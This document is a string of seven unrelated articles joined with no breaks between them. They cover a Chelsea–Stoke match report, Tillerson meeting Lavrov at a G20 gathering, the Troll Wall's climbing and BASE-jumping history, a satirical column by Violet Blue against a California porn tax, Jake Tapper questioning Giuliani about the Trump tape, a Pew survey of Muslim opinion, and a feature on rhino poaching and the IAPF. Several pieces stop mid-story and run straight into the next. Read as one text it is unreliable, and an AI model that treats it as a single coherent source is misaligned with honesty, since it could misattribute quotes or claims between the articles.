Chelsea ensured they will be top of the Premier League on Christmas Day after a hard-fought victory over Stoke City at the Britannia Stadium.
John Terry's header inside two minutes kick-started a spiky contest that threatened to spill over at times.
Media playback is not supported on this device Chelsea boss Mourinho 'goes home happy'
Yet for all Stoke's desire, Chelsea always looked in control and deservedly doubled their lead through Cesc Fabregas's scuffed finish.
Steven Nzonzi had Stoke's best chance but his deflected shot was well saved.
Victory took Chelsea three points clear of second-placed Manchester City.
The only blight on Chelsea's night came with a late injury to Eden Hazard, who limped off after appearing to injure an ankle in a tangle with Jonathan Walters.
Ahead of the kick-off, much talk centred on the hackneyed issue of whether Chelsea's stars could perform on a cold December night in Stoke.
Those inside the Britannia Stadium did not have to wait long for an answer, with barely 90 seconds on the clock when the visitors went in front.
After Branislav Ivanovic's shot from Chelsea's first attack was charged down, Terry's unchallenged header from Fabregas' resulting corner powered past the exposed Asmir Begovic.
Glad tidings for Mourinho's men Seven of the last 10 teams to be top at Christmas have gone on to win the Premier League title. On the previous three occasions Chelsea have led the way on 25 December, the title followed in May.
Tempers nearly boiled over when Phil Bardsley went in hard on Hazard as the Belgian advanced down the left.
The tackle enraged Chelsea manager Jose Mourinho but referee Neil Swarbrick showed only a yellow card.
Stoke perked up and almost levelled when Nzonzi's low strike deflected off Terry and forced a wonderful save down low from Thibaut Courtois, recalled in place of Petr Cech after a muscular injury.
Diego Costa should have doubled Chelsea's lead after half-an-hour when he raced clear on to Fabregas' through ball but dragged his low drive just wide.
Media playback is not supported on this device Early Chelsea goal frustrates Hughes
Stoke's only win in 12 previous Premier League meetings with Chelsea came in this fixture last season, when they won 3-2 thanks to a last-minute winner from Oussama Assaidi, but a lack of midfield quality dimmed hopes of a repeat.
Instead, Stoke allowed themselves to be riled by the prickly Costa, who clashed repeatedly with Ryan Shawcross in the opening half and early in the second with Erik Pieters, earning the Stoke man a yellow card.
Stoke introduced Charlie Adam as a substitute in an attempt to add some composure in midfield and he nearly equalised when his sliced 20-yard drive spun just wide of the left-hand post.
With 12 minutes left, Hazard found Fabregas, whose untidy finish bobbled beyond the wrong-footed Begovic.
Stoke manager Mark Hughes: "I think we were frustrated to concede early on. It affected our game plan. When we gained momentum they were able to take the sting out of the game and slow things down.
"I've seen them play better. They were helped by the opening goal because they could then sit deep and the onus was on us. With the quality they have they didn't create that many clear-cut chances."
Phil Bardsley escaped with a yellow card for this heavy challenge on Eden Hazard
Cesc Fabregas' goal was his second in the league this season
Diego Costa was a constant thorn in the side of the Stoke defence
Everyone's favorite date was US Secretary of State and former ExxonMobil CEO Rex Tillerson. All eyes were on the Texas businessman turned politician. It seemed as if delegates from countries as different as South Africa and Saudi Arabia were all hoping that Tillerson would clarify what US foreign policy under President Trump will look like.
Watch video 00:27 Tillerson meets Lavrov in Bonn
A business-like meeting with Lavrov
Among the many meetings Tillerson had behind closed doors, one stood out in particular: the encounter he had with his Russian counterpart Sergey Lavrov. Remarks by Lavrov suggested that the two men had seen each other before, but it was certainly the first time they shook hands since Tillerson took office. "The United States will consider working with Russia where we can find areas of practical cooperation that will benefit the American people," Tillerson told journalists after the meeting, which had addressed conflicts in Syria, Ukraine and Afghanistan - not exactly the kind of clarification many had hoped for after weeks of uncertainty over how close the White House and Kremlin will be working together.
While trying to establish a good working relationship with Lavrov, Tillerson at the same time had to soothe his European counterparts. They fear that the Trump administration is getting too close to Moscow, moving away from Western partners and alliances that have existed for the last seven decades. Tillerson did his best to relieve these doubts, declaring that "the United States remains steadfast in its defense commitments to its allies." Yet, "difficult" was a word that could be heard in the hallways of the Conference Center to describe US foreign policy. French Foreign Minister Jean-Marc Ayrault bluntly called the the US position on the Middle East peace process "confused and worrying" after meeting Tillerson.
'Trust is crucial'
"We see worrying tendencies towards protectionism, towards nationalism in the world today," Dr. Clara Brandi of the German Development Institute (DIE) told DW. "In that context, it is especially crucial to strengthen the basis for trust among world leaders." She hoped that the G20 meeting would contribute to that, but was skeptical that Sigmar Gabriel, the newly appointed German foreign minister had succeeded in shifting the focus to other issues such as African development and climate change.
German Foreign Minister Sigmar Gabriel is hosting the G20 meeting
Gabriel stressed that the German G20 presidency did indeed view these as key issues for the group. "Climate protection and development policies can contribute more to security around the world than big defense budgets," Gabriel said at a press conference. In July, the G20 heads of state and government are slated to meet in Hamburg, Germany.
'Planet Earth First'
A few dozen protesters made their voices heard outside the conference center, calling the G20‘s policies "murderous." One protester told DW that he thought the whole G20 format was "just wrong." "The G20 are not representatives of the world. These issues should not be discussed by these governments."
Environmental activists also tried to get ashore at the Conference Center
The rock is gneiss, formed into a broken rock wall of huge corners, concave roofs, and crack systems, topped with a series of spires and pinnacles on the summit rim. The rock is generally loose, and rockfall is the norm on this north-facing big wall. There was a series of large rockfalls on the wall in September 1998, radically changing the character of several climbing routes.[2]
The Troll Wall has been a prestigious goal for climbers and BASE jumpers alike. Carl Boenish, the "father" of BASE jumping, was killed on the Troll Wall in 1984 shortly after setting the world record for the highest BASE jump in history. BASE jumping from Troll Wall has been illegal since 1986.
Climbing history [ edit ]
The Troll Wall (left), with the peaks of Brudgommen (The Bridegroom) and Store Trolltind to the right
The Troll Wall in shadow
The Troll Wall was first climbed in 1965 by a Norwegian team. The Norwegian team, consisting of Ole Daniel Enersen, Leif Norman Patterson, Odd Eliassen, and Jon Teigland, finished one day ahead of the British climbers Tony Howard, John Amatt and Bill Tweedale, who established the most popular climbing route on the wall, the Rimmon Route.[3] As of 2003, this route was reported unclimbable because a rockfall in September 1998 destroyed five of its pitches.[2]
The wall saw its first winter ascent in March 1974, when Wojciech Kurtyka from Poland spent 13 days repeating the 1967 French Route.
In 1979, the wall was free climbed for the first time by local climber Hans Christian Doseth and Ragnhild Amundsen.
Today, there are many routes on the wall, ranging in length and difficulty.[2] The classic Rimmon and Swedish routes were normally free climbed in a day or two until being heavily damaged by the 1998 rock falls. The longer and more engaging aid routes, such as the 1972 test piece Arch Wall (climbed by Ed and Hugh Drummond in 20 days), or the 1986 Death to All/Pretty Blond Vikings, which cuts through the steepest part of the wall, require advanced knowledge of big wall climbing and several days on the wall.
Due to the serious character of the wall, in addition to a cold and damp climate, new routes on Troll Wall are rare. In February 2002, a Russian team established the Krasnoyarsk Route during 19 days.[4] The 1,200 metres (3,900 ft) long Krasnoyarsk, graded f6c+/A4+, is generally thought to be the hardest aid route on the wall and was awarded first prize in the 2002 All Russia Winter Mountaineering Championships.[5]
In July 2010, Arch Wall, previously a serious aid route of difficulty up to A4+, saw its first all-free ascent by local climber Sindre Sæther and his father, Ole Johan. Arch Wall is about 1,200 metres (3,900 ft) of climbing over 37 pitches, and it took the two a total of 36 hours of climbing to reach the summit.
In July 2012, Sindre and Ole Johan Sæther repeated the feat by free climbing the Krasnoyarsk Route.[5]
The most recent contribution to climbs on the Troll Wall is Katharsis, established by Polish climbers Marek Raganowicz and Marcin Tomaszewski over 18 days in January and February 2015. According to Planetmountain.com, the new route shares the first two pitches of the French Route, before forging a line between the Russian Route and Arch Wall. The team reported of difficulties up to A4/M7.
On 11-26 January 2017 Polish climber Marek Raganowicz made the first solo ascents wall in winter.[6]
BASE Jumping [ edit ]
In 1980 a new sport debuted when the Finn Jorma Öster made the first parachute jump from the Troll Wall and it was one of the pioneering sites for European BASE jumping during the first half of the 1980s. However, after a number of fatalities, the Norwegian authorities made BASE jumping from the Troll Wall illegal on July 25, 1986.
Eight BASE jumpers are known to have lost their lives at the Troll Wall. The first recorded fatality was Carl Boenish in 1984 while the most recent was in 2012.[7]
See also [ edit ]
If California lawmakers are going to levy a draconian vice tax on porn, it seems only fair that consumers get to decide what kind of porn should be taxed. For instance, only really bad porn should cost extra at the checkout counter. Is it from the 1980s? Tax that ass. Starlets with breasts that look like face-hugging aliens about to explode and kill viewers? Check. Does it feature performers who emit noises that prompt my neighbors to call Animal Care and Control out of concern? That will cost you extra, pal. Scary fingernails, racial stereotypes, formulaic Cirque du Soleil sex positions, using the same five guys that seem to be in every straight porn film? Definitely charge extra to anyone who masturbates to that.
I could really get behind this porn tax thing if it meant seeing less of Evan Stone on my desktop. But what Assembly member Charles Calderon, D-Montebello, wants to do to shore up California's pasta strainer of a budget by pushing a bill to tax porn makes about as much sense as taxing films like "Das Bootie," "Spray It Forward" or "Blowjob Impossible" to create a slush fund.
Calderon says his bill could raise as much as $665 million in tax revenue each year off the $4 billion-a-year porn industry (though a reliable source for this dollar figure has yet to be produced in any media quote). This cherry pie-in-the-sky figure would go into creating and fueling an "Adult Entertainment Impact Fund." Calderon's titty-tax is morally motivated: He would use the tax revenue to mitigate the cost to taxpayers of "secondary effects" generated by the industry, such as "law enforcement at adult venues, testing and treatment for sexually transmitted diseases and other social services." Tom White, Calderon's chief of staff, is widely quoted as saying, "There is a high rate of drug and alcohol abuse in the industry, STDs, mental health problems and pregnancies. The industry is such that oftentimes people get burned through and come out with nothing, no job skills or education, so they need job training or state services."
Yes, Calderon — and his fundie cronies — want to tax your lube to save our schools. Calderon's AB 2914 is sort of the anti-porn, anti-masturbation superhero: The 25 percent tax would be levied on strip club fees, pornographic movies, pay-per-view films, sex toys and more. A close read of the bill shows that the tax would be applied to anything that falls under federal record-keeping requirements under the (repeatedly struck down and continually challenged) 2257 Section 18 laws. This means any item, including but not limited to a book, magazine, periodical, film, videotape, digital image or digitally or computer-manipulated image that includes "sexually explicit conduct." According to AB 2914, sexually explicit conduct is defined as "sexual intercourse, including genital-genital, oral-genital, anal-genital or oral-anal, whether between persons of the same or opposite sex; masturbation; sadistic or masochistic abuse; lascivious exhibition of the genitals or pubic area of any person."
Taxing porn because it's categorically bad is a slam-dunk for wining support: Manufactured outrage always gets the job done in politics when it comes to gay marriage, wars, sexual predators and porn. Calderon's been press-touring the bill with former porn stars who've loudly found God and — like the bill itself — take for granted that everyone's just going to buy 30-year-old anti-porn myths: porn's alleged "secondary effects." And here we just thought that porn's negative secondary effects were those tough-to-remove stains on the couch, a little RSI after a viewing of "On Golden Blonde," or a sticky mouse.
But according to Calderon's bill, sex toys, pay-per-view cable porn and my weary copy of "Buffy the Vampire Layer" increase crime at or near production locations, adversely impact mental health and lead to increased alcohol and substance abuse by those involved, increase the performers' chances of contracting a sexually transmitted disease, encourage unsafe sex by consumers, often encourage sexually aggressive behavior toward women, and increase the medical costs of the participants in the production of adult entertainment and adult entertainment merchandise.
I'll agree with the safer sex bit — porn makes some really awful choices when it comes to modeling safer sex practices. But along with increasing crime, the alleged "secondary effects" of "Boobarella" also seem to make the whole entire world a dangerous place. "The Internet provides the children of this state with easy access to sexual content, which may negatively influence their developing attitudes toward sexuality and relationships. Adult entertainment venues adversely impact the character of local neighborhoods by, among other things, reducing local property values, curtailing development, and engendering many types of criminal activities. Adult entertainment venues endanger the health, safety and welfare of citizens in their vicinity. These negative secondary effects, in turn, drain public resources dedicated to public social service programs, and place a significant strain on the courts of this state."
Calderon apparently knows all of this is true because Los Angeles has crime near its adult entertainment venues. And like his chief of staff, everybody just knows that adult access to porn or even a single Ron Jeremy Jelly SuperSoaker Dong causes children to have bad sex when they grow up and reduces your property values. And safety in neighborhoods where they make the vile stuff? Maybe we should ask everyone around Mission and 14th streets how they feel about having an abandoned landmark restored, open for family oriented community events and the lights maintained and kept on at night — all because the Porn Palace (Kink.com) moved into the San Francisco Armory.
Until Calderon can produce proof to back his exact statements about secondary effects, it's a bill made of crazy talk. He has yet to produce any proof, let alone objective and verifiable studies or data to back his claims about porn making us all alcoholics (unless you count the nights I spent trying to drink away the pain of being leg humped by a gay-for-pay porn star at the last GayVNs I attended). And never mind that the porn industry already has its own industry-funded medical clinics (the Adult Industry Medical Healthcare Foundation) that provide medical testing, job and mental health counseling, substance abuse programs and job transitioning programs for any and all performers. Public resources not needed, thanks. And if you know anything about HIV tests, let me just say that porn stars get the good, expensive ones, compared to us community clinic civilians.
But Calderon's office doesn't need data when they have the lord on their side. After her very brief career as a porn performer 15 years ago, anti-porn fundamentalist Christian preacher Shelley Lubben and her Pink Cross Foundationhave backed the bill from the beginning, and she's been speaking and appearing with Calderon in support and to lend her expertise about the evils of pornography. Lubben states, "A tax is justified because of the ill effects porn has on performers and consumers. Everything from addiction to drugs or sex itself, assault, disease, rape and prostitution can be counted as side effects of the industry."
Interestingly, a year ago I was invited to Google's Mountain View headquarters to give a Google Tech Talk about sexual privacy. I was supposed to speak about a week after Lubben was to give a talk appealing to Google to help save the world — and women and children and marriages — from porn. During my talk, I took a minute to disprove her claims, but I was told by the audience that Lubben, in fact, had backed out of her appearance — once employees offered to help her gather data to back up her statements about pornography.
Calderon is calling his AB 2914 a "sin tax," akin to alcohol and tobacco taxes. Except that smoking actually causes cancer and will kill you, and porn causes ... masturbation. Which, incidentally, is recommended to men for prostate health maintenance, so one could even say that masturbation — nay, using porn — prevents cancer.
It's OK — I don't think we'll need to dress like pirates, raid a container ship and dump bales of "Breast In Show" into the Bay anytime soon. The bill is unconstitutional.
Now, if they said that the money went toward saving the kittens, I think they'd be completely justified.
Violet Blue is a Forbes "Web Celeb", notorious blogger (Laughing Squid), high-profile tech personality and one of Wired's "Faces of Innovation." She writes for outlets ranging from Forbes.com to O, The Oprah Magazine. She is regarded as the foremost expert in the field of sex and technology, a sex-positive pundit in mainstream media ( CNN, The Oprah Winfrey Show) and is interviewed, quoted and featured prominently by major media outlets. Violet has many award-winning, best-selling books, a famous podcast, is fun to follow on Twitter, and is a San Francisco native.
Blue headlines at conferences ranging from ETech, The Forbes Internet Leadership Conference, LeWeb and SXSW: Interactive, to Google Tech Talks at Google, Inc. Her tech site is Techyum; her audio and e-books are at Digita Publications.
Another day, another Donald Trump scandal and the latest involves the GOP nominee bragging about sexually assaulting women.
In a 2005 tape that was recently released to the Washington Post, Trump can be heard saying how he tried to “f*ck” a married woman and suggested he could grab women by the “p*ssy” simply because of his fame, money, and power.
On Sunday morning’s State of the Union, CNN host Jake Tapper spoke with former New York Mayor Rudy Giuliani about the Trump tapes and what it means for the last leg of the 2016 presidential election.
But Tapper was not interested in Giuliani’s rape apologist rhetoric and ripped into the former mayor almost immediately.
Tapper starts with, “This tape, which was recorded in 2005, on it we hear Donald Trump behaving in, it’s fair to say, a vile and disgusting way. It’s not just the words he uses. He’s essentially voicing a casual attitude toward sexual assault.”
The holy goddamned New York Times. pic.twitter.com/7vpybpjViA
— Dave Itzkoff (@ditzkoff) October 7, 2016
Giuliani has regularly come to Trump’s defense on issues pertaining to the former reality star’s disregard for women. His response offered a mix of rape apology and pointing the finger back at Clinton’s scandals.
The former New York mayor retorts, “They’re remarks you certainly don’t want to hear from anyone, much less a presidential candidate. Then when you reflect on it, he apologized for them.”
He continues, “The question, is this the one issue on which we should decide? Apparently democrats don’t think the one issue they should decide their election on is the fact that Hillary Clinton seems to have used a State Department as a pay for play operation for the Clinton Foundation.”
But Tapper was uninterested in Giuliani’s remarks, noting “I understand you would want to change the subject.” Tapper suggests that Trump’s apology was hardly that, as the GOP nominee’s so-called apology deflected and ended in an attack against the Clintons.
Tapper says, “I guess the question is he’s talking about actions that are sexual assault and he was 59 or 60 years old when he said it. This wasn’t something he said when he was 18 years old. He is talking about a feeling of entitlement because he’s a star. He can go up to women and grab them by the vagina and it’s OK.”
He continues, “Who did he do that to? I will gladly tell you, Mr. Mayor, I have never said that, I have never done that … I’ve been in locker rooms, I’ve been a member of a fraternity, I have never heard any man ever brag about being able to maul women because they get away with it. Never.”
An ABC News poll released on Sunday morning finds that 43 percent of Americans think Trump should drop out of the race. The poll also finds that more than 75 percent of voters are “somewhat to very worried” about the future of the country if Trump is elected in November.
Watch the full clip below.
The Barisan National party flag flies next to the Sultan Ahmad Shah State Mosque on April 19 in Malaysia. (Photo11: Roslan Rahman, AFP/Getty Images) Story Highlights Pew Forum conducted 38,000 interviews to examine Muslim religious, political and social views
Most Muslims want to see sharia, religious law, rule the land
There is no monolithic code of Islamic religious law so views vary from country to country
Devotion to Islam shapes the lives of most Muslims but their views on democracy, religious law known as sharia, and family life are varied, a new study finds.
The research report on Muslim views on religion, politics and society was released Tuesday by The Pew Research Center's Forum on Religion & Public Life.
It finds that Muslims in Africa, Asia and the Middle East -- no matter age, education or gender -- overwhelmingly want to see sharia be "the official law of the land," said James Bell, primary researcher for the report and director of international research for Pew, in a press phone-in discussion of the report.
That includes 99% in Afghanistan, 89% in the Palestinian territories, 74% in Egypt and 72% in Indonesia, for example.
However, they don't agree on what sharia means. "There is no monolithic code. … No common understanding from Africa to Asia to the former Soviet Union," said Amaney Jamal, professor of politics at Princeton University and special adviser to Pew for the report.
Indeed, the more experience Muslims had with living with "a narrow, rigid form of sharia," the less supportive they were of it, Jamal said. "In counties that have less experience with (laws ordained by God) you find widespread support," she said. This may be because their view of the law is "informed by Islamic ideals about social justice and equality and redistribution," not a strict code of what is permissible and what is not.
Most Muslims are comfortable relying on religious law for family or property disputes but there is "considerably less support" for drastic punishments such as executing people who convert away from Islam to another religion. And even in the family law sphere, views on polygamy, divorce and family planning vary widely, the research finds.
Even the most enthusiastic sharia supporters still favor religious freedom for people of other faiths, in part because they believe it should apply only to Muslims. That explains how 84% of Muslims in Pakistan want to enshrine sharia law, but three in four say non-Muslims are free to practice their faith.
Many Muslims want religious leaders to have some -- even large -- influence political matters: 53% in Afghanistan, 41% in Malaysia and 37% in Jordan, the research finds.
Similarly, many Muslims see no incompatibility with democracy, said Farid Senzai, director of research at the Institute for Social Policy and Understanding, at Santa Clara University, another adviser to the Pew Muslim research. "You can have a democracy and yet also have strong support for Islam to play a role in politics."
The opinion research is based on 38,000 face-to-face interviews conducted between 2008 and 2012 in 39 countries and territories in Africa, Asia and Europe -- with four notable exceptions. "Political sensitivities or security concerns" prevented opinion research in China, India, Saudi Arabia and Syria.
While Muslims in the USA were not included, the report did examine international views in comparison to earlier studies of American Muslims.
Among U.S. Muslims, 81% say suicide bombing or other forms of violence against civilians in the name of Islam are never justified. And the new study finds the global median for Muslims who agree on that is 72%.
However, the report finds, "substantial minorities in several countries say such acts of violence are at least sometimes justified, including 26% of Muslims in Bangladesh, 29% in Egypt, 39% in Afghanistan and 40% in the Palestinian territories.
Other findings include:
• Many U.S. Muslims take a more liberal view on whether Islam is the "one true faith that leads to eternal life," said Alan Cooperman, associate director of research for the Pew Forum. In Pakistan, 92% say there's just one path to salvation but only 51% of U.S. Muslims of Pakistani origin agree.
• Many, including 67% of Muslims in Egypt, 68% in Iraq and 78% in Indonesia, are deeply concerned about religious extremists within their own countries.
• Muslim men and women agree: A wife must always obey her husband. The view holds from Morocco, 92%, to Malaysia, 96%. But the majority also say it's up to the woman herself if she wants to wear a veil. Most say honor killings are never justified -- with two exceptions. In Afghanistan and Iraq the majority would allow executions for women who "allegedly have shamed their families by engaging in premarital sex or adultery."
A 2011 global Muslim population study by Pew found that, based on immigration patterns and birth rates, Muslims will be more than one-quarter of the Earth's population within the next two decades. The numbers will climb from 1.6 billion people in 2010 to 2.2 billion in 2030, concentrated in Muslim-majority countries.
The cloudless sky is empty of vultures on this scorching Mozambique morning, and as Mander approaches the kill site, an orchestra of heavy wing beats reveals why. Scores of the scavengers have settled onto comfortable perches, frosted in days of bird shit and molt, for a macabre feast: two dead rhinos, mother and calf.
"The last minutes of their lives would've been bloody terrifying," says Mander, 37, the founder of the International Anti-Poaching Foundation (IAPF), a non-profit organization dedicated to providing Africa's wildlife rangers with military-style training, management, and resources. A former special-forces sniper who spent six years in the Australian military, followed by 12 tours in Iraq as a private contractor, Mander is now embroiled in Africa's most volatile wildlife war.
The ridgeline where he stands represents perhaps the most critical strip of territory on the planet for rhinoceros conservation. To the west lies South Africa's famed Kruger National Park, home to more than 8,000 rhinos, roughly one-third of the continent's remaining population. To the east is Sabie Game Park, one of nine private borderland reserves that compose the 958-square-mile Greater Lembobo Conservancy in Mozambique, among the world's poorest countries and home to sophisticated poaching syndicates that haunt Kruger and are hunting rhinos toward extinction.
Three nights prior, this rhino pair and two young bulls were just a quartet of peaceful grazers snacking their way along a narrow creek bed, oblivious to international borders and the bounty that an insatiable black market has placed, quite literally, on their head. Then, under a three-quarters moon, two poachers tracked the herd through the thorn scrub, took aim with a .375 hunting rifle, and fired. The mother went down with three shots, the calf with a fourth.
Mander, standing a hulking 6 feet 3 inches tall and weighing 240 pounds, slowly approaches the mother, lying on her side on a gentle slope overlooking the savanna. A giant crater rots where her 3-foot-long horn once grew. Machete wounds run up her back and across her hind legs. She was still alive when the poachers went to work. They cut her spinal cord and tendons in her legs to immobilize her, before carving out her horn. Scavengers made quick work of the carcass once the poachers left, rendering this 2-ton megaherbivore to little more than leather. Next to her lies her calf, deflated like a popped balloon and bearing matching wounds and missing horns. "It's shattering," says Mander. "It's like you've been given something very important to take care of and someone's come and taken that away."
Rhinos are under siege. In just 10 years, the average number poached annually in South Africa—home to some 20,000 animals—jumped from 17 to more than 1,000. East Asian demand for rhino horn as a cure for everything from hangovers to cancer is so high, it now fetches an estimated $20,000 per pound—despite the fact that it's made of the same keratin found in human fingernails and has no proven medical benefits. Its illegal trade has exploded into a sprawling global battlefield of sophisticated crime organizations, heavy arms, murder, and corruption. The front lines, once-quiet savannas and woodlands where rhinos wander, have become a war zone.
A female black rhino and her calf in the Stanley and Livingstone Game Reserve, Zimbabwe Michael Hathorn, Ginkgo Agency Mander launched the IAPF in 2009 with a vision to create what he describes as "the special forces of conservation." The organization is currently managing or assisting security operations in eight parks across southern Africa and, later this year, will launch a two-year anti-poaching leadership college designed to train the next generation of wildlife rangers. Over 10 days in January, I traveled with Mander across southern Africa to get a firsthand look.
Since 2015, the IAPF's efforts at Sabie have translated into an expansion of the park's existing security team, implementation of a training and leadership program, and funding for everything from shoes and socks to aircraft to K-9 units. There have been early signs of success in the 99,000-acre park: namely, rhinos.
In 2013, rhino poaching in Mozambique had gotten so bad that government wildlife officials were publicly debating whether or not the animals had gone extinct in the country. "As soon as rhinos would cross [from Kruger into Sabie]," recalls anti-poaching manager Sean van Niekerk, "they'd get shot." If Sabie rangers found a live rhino in the park, they'd try to chase it back to Kruger. Today, the reserve has a relatively stable resident population. That same year, South Africa National Parks estimated that 75 percent of Kruger's poachers entered the park through Mozambique; in 2016, that number dropped to 30 percent. General Johan Jooste, the head of special projects at South Africa National Parks, says the IAPF's efforts have played a "significant role" in the shift. "The numbers speak for themselves."
And still, 2017 was off to a rough start, for both rhinos and rangers. The helicopter and fixed-wing aircraft were down for repairs, and the K-9 unit was on a training course. Then it rained, 8 inches in just four weeks, more precipitation than the area had received the entire previous year. The dirt roads the rangers use for patrol had turned to thick black cotton capable of swallowing a truck to the axle, making driving the 25-mile fence line impossible. Poachers slipped in and out, killing four rhinos in eight days—one less than in all of 2016. "It shows you how quickly things can turn out here," says Mander.
Mander represents an unlikely, if increasingly important, brand of conservationist: He's a military man, drawing lessons from what he sees as a failed desert war to protect an iconic endangered species; a mercenary who's invested his spoils into a non-profit fighting an African battle that can never definitively be won, but can very easily be lost.
At the crime scene, the smell of the carcasses continues to ripen, pleasing none but the vultures. The sun climbs toward high noon and we make a dour retreat back to the truck. Mander offers resolve in florid Australian sprachgefühl. "We've just got to get up, get back out there, protect the next lot of rhino, and fucking stop these pricks."
It is a sad and infuriating reality that one of the biggest threats to the existence of any single species of animal is how widely it is admired by humans. Naturally one might assume that the greater esteem a species enjoyed, the more protection it would receive, but rarely is this a proportional equation. Much better to be ignored. Just ask the rhinoceros.
IAPF ranger Senzani Tshabangu in position while on patrol Michael Hathorn, Ginkgo Agency Thirty thousand years ago, rhinos were celebrated in cave paintings in what is now modern day France—right before they were driven to extinction on the continent, probably by weapons made of their own horn. The Chinese revered the rhino for its power and longevity and, as author Richard Ellis noted, considered it a "walking apothecary." They used its hide to make suits of armor and its horn as a treatment to neutralize poison and cure illness. By the time of the Han Dynasty (600-900 A.D.) China had to import the horn of the once-common pachyderm.
Ernest Hemingway described the black rhino with reverence in Green Hills of Africa as "long-hulked, heavy-sided, prehistoric-looking…[with] hide like vulcanized rubber…a hell of an animal." Like the colonial hunters who began emptying Africa of its large game centuries ago, Hemingway's intimate knowledge of the rhino sprang from his penchant for shooting them. The Yemeni have no particular reverence for the animal itself, as its modern range has never extended to the southern edge of the Arabian Peninsula. Nonetheless they have been voracious consumers of the great rhino phallus, carving horns into handles for their own decorative phalluses, traditional daggers called jambiyas. It's the kind of rare, cross-cultural synergy the United Nations might envy if the end results weren't so tragic: African, Asian, Muslim, and Western societies working in concert, to push rhinos to the brink.
Today, five species of rhino survive, all in varying states of peril. During colonial times Javan and Sumatran rhinos (Rhinoceros sondaicus and Dicerorhinus sumatrensis, respectively) were common enough to be considered pests to tea growers. All that remains of the former is a single population of 63 on the island of Java, while fewer than 100 of the latter live in small pockets on Sumatra and Kalimantan. The greater one-horned rhino (Rhinoceros unicornis) is faring slightly better, with a population of 3,500 split between India and Nepal—up from just 600 in 1975. In 1960, an estimated 100,000 black rhinos (Diceros bicornis) roamed across Africa, compared to 5,000 today. For the time being at least, the white rhino (Ceratotherium simum) represents one of the great conservation stories. By the late 19th century, colonial hunters were thought to have driven the species to extinction until a remnant population of as few as 50 animals was discovered in South Africa. From that modest group sprang the 20,000 white rhinos alive today.
Rhinos serve as an umbrella species. Demand for their horn is so fierce, the thinking goes, that curbing rhino poaching will reduce the poaching of other animals as well. But it's a constant, exhausting battle. "We have to be right 100 percent of the time," says Mander. "The poachers only need to be right once."
A female black rhino seen between two IAPF anti-poaching rangers in the Stanley and Livingstone Game Reserve, Zimbabwe Michael Hathorn, Ginkgo Agency Fighting has always come naturally to Mander. As a baby, his mother Karin recalls of her first born, the adversary was sleep. "He would not nap, ever, as if he didn't want to miss anything." He grew up in Mornington, a quaint fishing-community-turned-wineland-region 35 miles south of Melbourne, Australia. In middle school, when other kids were playing with firecrackers, Mander taught himself to build and detonate petrol bombs in the backyard. He started a hustle free-diving for squid lures that fishermen lost off the local pier, and then selling them back for five bucks a pop. The water got cold, 55 degrees, and Mander's 1-millimeter wetsuit offered barely more insulation than a t-shirt. He'd stay in the water for hours. "Looking back," he recalls, "it was the best training I could have done to be a Navy diver."
In high school he was a champion discus thrower and star Australian Rules Football fullback. He threw his weight around on the pitch, but also learned that the best fights are those won without throwing a punch. One night, an 18-year-old Mander was shooting pool when his opponent, an even larger specimen, took exception to the fact that he was losing to a cocksure teenager. Words were exchanged. The big guy grabbed his pool cue as if preparing to play cricket with Mander's skull. Mander picked up his pint glass, chugged his beer… and ate the pint glass.
"He was just staring this guy dead in the eye, chewing his glass," recalls his gobsmacked friend Brent Loughrey. "He wasn't bleeding or anything. That ended that dust-up pretty quickly."
"The secret," Mander explains, "is to spit, not swallow."
With narrow set eyes and a sharp nose, he looks a bit like Eminem—if Eminem played middle linebacker for the Pittsburgh Steelers. His body is a gallery of tattooed aggression. On his right shoulder, The Incredible Hulk bashes through a brick wall. An H.R.-Giger-inspired image covers his double-wide back, demons peeling away flayed skin to reveal a cyborg skeleton. Arcing from collarbone to collarbone, in Gothic, size-96 font, is the mantra of his formative years: "SEEK & DESTROY."
"That one worried me a little," says Karin. "I didn't know what it would attract."
At 19, working as a garbage man and running with a crew that ended up behind bars, Mander followed the path of many a rudderless teen, into the Navy. He enlisted as an electronics technician and quickly advanced to clearance diver, specializing in underwater demolitions, ordnance disposal, and maritime counter-terrorism. When Australia expanded its Tactical Assault Group, an elite special-forces unit comparable to the U.S. Navy SEALs, following the September 11 terrorist attacks, Mander jumped at the opportunity.
The diver was a fish out of water. The training ground and punishing skill set—urban warfare, close-quarter combat, sniping—had little overlap with his maritime expertise. He earned the nickname Agent Orange, after the defoliant, because of his tendency to leave a trail of crushed vegetation during stalking exercises. "For a Navy diver," says Mander's former commanding officer Col. Brett Chaloner, who now serves on the IAPF's board, "the learning curve couldn't have been steeper."
After six years studying warcraft on domestic soil, Mander left the Navy in 2005 and went to Iraq as a soldier of fortune. "I wanted to get some dirt on my knees," he says. The reality of the war hit hard. He took assignments of the nation-building variety but even those left him disillusioned. Tasked with training Iraqi police and other security forces, he found that the program stressed quantity over quality. "I was responsible for the death of a lot of Iraqis," he says. "We were given six weeks to recruit, train, and deploy Iraqis back out onto the front line and that's not enough time. The government was happy, because they got to put the big figures down saying how many people had been deployed, but [the trainees] either got killed, they deserted, or they joined the insurgency and fought back against the coalition."
Three years and 12 tours later, Mander was wasted. He'd banked enough money to buy eight residential investment properties and thought he'd escaped Iraq unscathed. The wounds didn't appear until he returned home. "For a lot of guys," Mander reflects, "the war doesn't start until the bullets stop. You get home and you don't know how to reintegrate into society. I was one of them. I mean, what the fuck do I do? There's no job for a sniper in the local newspaper."
In 2008, he went on a year-long bender in South America, which only led to more emptiness. He'd lost direction, a drawn arrow without a target. Then he heard about the rhino-poaching crisis brewing in South Africa. It sounded like a war, a noble one. Maybe, he thought, there was something he could do to help.
IAPF ranger Tyson Mumpande crouches on alert with a female black rhino and her calf in the background in Zimbabwe’s Stanley and Livingstone Game Reserve. Michael Hathorn, Ginkgo Agency With a sharp snap of his fingers, Senzani Tshabangu orders the four other rangers to stop. We're on foot patrol, it's nearly midnight, and a storm front has darkened the moon, two days past full, under a carpet of clouds. A tree rustles 100 feet away. The bush comes alive at night, and poachers are far from the only danger out here. One of the savanna's more ill-mannered and unpredictable animals steps out of the shadows, a 2,000-pound cape buffalo. "Let's just wait for a moment," whispers Tshabangu, 42, who's all too familiar with ill-mannered and unpredictable animals. A few years earlier, while he was fishing at a nearby reservoir, a crocodile leapt from the water and grabbed his leg. Tshabangu managed to liberate himself from the jaws of death, but the crocodile took its pound of flesh in the form of his right thumb. Tonight, we proceed with caution. "Maybe," he says of the buffalo, "there is another one in the bush."
